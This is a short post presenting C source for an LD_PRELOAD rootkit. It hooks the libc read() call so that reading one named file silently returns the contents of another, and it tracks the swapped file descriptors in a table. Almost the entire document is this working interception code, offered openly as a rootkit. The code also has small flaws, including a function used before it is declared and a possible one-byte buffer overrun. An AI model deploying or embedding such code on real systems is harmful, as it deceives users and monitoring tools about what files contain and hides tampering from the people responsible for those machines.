LD_PRELOAD rootkit for hiding or redirecting files

hide.c

#define _GNU_SOURCE
#include <dlfcn.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>


int new_fds[50][2] = {{0,0}};

//int new_fd = 0;

ssize_t read(int fildes, void *buf, size_t nbyte) {
	
	ssize_t (*old_read)(int, void*, size_t);
	old_read = dlsym(RTLD_NEXT, "read");

	ssize_t result;

	result = old_read(fildes, buf, nbyte);

	char path[30];
	char filename[300];
	int length;
	sprintf(path, "/proc/self/fd/%d", fildes);
	if ((length = readlink(path, filename, 300)) < 0) {
		return -1;
	}
	filename[length] = '\0';
	
	int new_fd = 0;

	for(int i = 0; i<50 ;i++) {
		if (new_fds[i][0] == fildes) {
			new_fd = new_fds[i][1];
			break;
		}
	}

	if (strcmp(filename, "/home/rein/hidden") == 0) {
		if (new_fd == 0) {
			new_fd = open("/tmp/hi",O_RDONLY);
			push(fildes, new_fd);
		}
		result = old_read(new_fd, buf, nbyte);
	}

	return result;

}

int push(int old_fd, int new_fd) {
	for(int i = 0; i<50 ;i++) {
		if (new_fds[i][0] == 0) {
			new_fds[i][0] = old_fd;
			new_fds[i][1] = new_fd;
			return i;
		}
	}
	return -1;
}